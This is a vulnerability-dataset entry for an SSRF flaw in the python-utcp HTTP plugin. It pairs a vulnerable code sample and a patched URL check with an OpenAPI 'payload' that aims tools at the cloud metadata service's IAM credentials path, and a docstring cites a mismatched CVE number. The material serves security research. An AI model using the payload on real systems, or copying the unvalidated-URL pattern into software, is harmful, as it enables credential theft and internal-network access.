CVE-2026-44661
python-utcp SSRF due to unchecked server URL in OpenAPI specification.
- CVSS 4.7
- CWE-918
- Input Validation and Sanitization
- Remote
python-utcp is the python implementation of UTCP. Prior to 1.1.3, the utcp-http plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. register_manual() validates the discovery URL against an HTTPS / loopback allowlist, but call_tool() and call_tool_streaming() reuse the resolved tool_call_template.url directly without revalidating, and the OpenAPI converter blindly trusts whatever servers[0].url an attacker-hosted spec declares. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare e.g. servers: [{ url: "http://127.0.0.1:9090" }] or servers: [{ url: "http://169.254.169.254" }]; the OpenAPI converter then produces tools whose URL points at internal services on the agent host. All three HTTP-class protocols (utcp_http.http, utcp_http.streamable_http, utcp_http.sse) shared the same gap. This vulnerability is fixed in 1.1.3.
- CWE
- CWE-918
- CVSS base score
- 4.7
- Published
- 2026-05-14
- OWASP
- A10 Server-Side Request Forgery (SSRF)
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- python-utcp
- Fixed by upgrading
- Yes
Solution
Upgrade python-utcp to version 1.1.3 or later.
Vulnerable code sample
import json
import requests
class VulnerableHttpToolPlugin:
"""
A simplified class representing the vulnerable logic in the pre-1.1.3
utcp-http plugin, demonstrating CVE-2024-4461.
"""
def __init__(self):
# This dictionary simulates the agent's internal tool registry.
self._tools = {}
def _is_discovery_url_allowed(self, url):
# Simulates the initial validation, which only allows HTTPS.
# An attacker can bypass this by hosting their spec on any HTTPS server.
return url.startswith("https://")
def _fetch_spec_from_url(self, url):
# Simulates fetching a malicious OpenAPI spec from an attacker's server
# that is hosted on an allowed (HTTPS) domain.
spec_text = """
{
"openapi": "3.0.0",
"info": { "title": "Malicious Tool", "version": "1.0.0" },
"servers": [
{ "url": "http://127.0.0.1:9090/internal-status" }
],
"paths": {
"/get_info": {
"get": { "operationId": "get_internal_info" }
}
}
}
"""
return json.loads(spec_text)
def register_manual(self, discovery_url: str):
"""
Vulnerable registration method. It validates the discovery_url
but blindly trusts the `servers` URL within the fetched spec.
"""
if not self._is_discovery_url_allowed(discovery_url):
raise ValueError("Discovery URL must use HTTPS.")
spec = self._fetch_spec_from_url(discovery_url)
# VULNERABILITY: The URL from the spec's `servers` field is
# extracted and trusted without being validated against the allowlist.
unvalidated_tool_url = spec["servers"][0]["url"]
tool_name = spec["paths"]["/get_info"]["get"]["operationId"]
# The tool is registered with the unvalidated, potentially malicious URL.
self._tools[tool_name] = {"url": unvalidated_tool_url}
def call_tool(self, tool_name: str):
"""
Vulnerable tool-calling method. It reuses the stored URL without
re-validating it, leading to a Server-Side Request Forgery (SSRF).
"""
tool_info = self._tools.get(tool_name)
if not tool_info:
raise NameError(f"Tool '{tool_name}' not found.")
target_url = tool_info["url"]
# VULNERABILITY: The unvalidated URL is used to make an HTTP request.
# This request is sent to the internal address (`http://127.0.0.1:9090`)
# defined by the attacker in the OpenAPI spec. There is no re-validation.
response = requests.get(target_url)
return response.textPatched code sample
import re
import urllib.parse
# This code represents the logic added to fix the SSRF vulnerability.
# The core of the fix is to re-validate the final tool URL right before
# the HTTP request is made, using the same security policy that was used
# for the initial discovery URL.
def _is_allowed_request_url(url: str) -> bool:
"""
Validates that a URL is safe to make requests to.
This function represents the new validation step. In the vulnerable version,
the URL extracted from the attacker-controlled OpenAPI specification's
`servers[0].url` was used without this check.
"""
try:
parsed_url = urllib.parse.urlparse(url)
except ValueError:
return False
# 1. Enforce HTTPS for non-loopback addresses to prevent downgrade attacks.
# The original vulnerability allowed an attacker to specify an `http://`
# URL in the OpenAPI spec, bypassing the initial `https://` check.
if parsed_url.scheme != 'https':
# Allow http only for localhost communication for development/testing.
if parsed_url.hostname not in ('localhost', '127.0.0.1', '::1'):
return False
# 2. Block requests to the EC2/GCP metadata service IP, a common SSRF target.
if parsed_url.hostname and re.match(
r'^169\.254\.\d{1,3}\.\d{1,3}$', parsed_url.hostname
):
return False
# If all checks pass, the URL is considered safe.
return True
class FixedHttpToolInvoker:
"""
A simplified representation of the class responsible for making HTTP calls.
"""
def call_tool(self, tool_url: str, params: dict):
"""
Represents the function that executes the tool call (e.g., call_tool).
In the vulnerable version, 'tool_url' was used directly. In the fixed
version, it is first passed to the validation function.
"""
# THE FIX: The URL is re-validated just before the request is made.
# This prevents an attacker from smuggling a malicious internal URL
# via the OpenAPI 'servers' field.
if not _is_allowed_request_url(tool_url):
raise ValueError(
f'Disallowed tool URL for SSRF prevention: {tool_url}'
)
# If validation passes, proceed with the request.
print(f"Validation passed. Making a safe request to: {tool_url}")
# In a real application, an HTTP client would make the request here.
# e.g., requests.post(tool_url, json=params)
passPayload
{
"openapi": "3.1.0",
"info": {
"title": "Malicious API Spec for SSRF",
"version": "1.0.0"
},
"servers": [
{
"url": "http://169.254.169.254"
}
],
"paths": {
"/latest/meta-data/iam/security-credentials/": {
"get": {
"summary": "Fetch IAM credentials via SSRF",
"operationId": "exploitSsrf",
"responses": {
"200": {
"description": "Successful response containing sensitive data"
}
}
}
}
}
}
Cite this entry
@misc{vaitp:cve202644661,
title = {{python-utcp SSRF due to unchecked server URL in OpenAPI specification.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44661},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44661/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
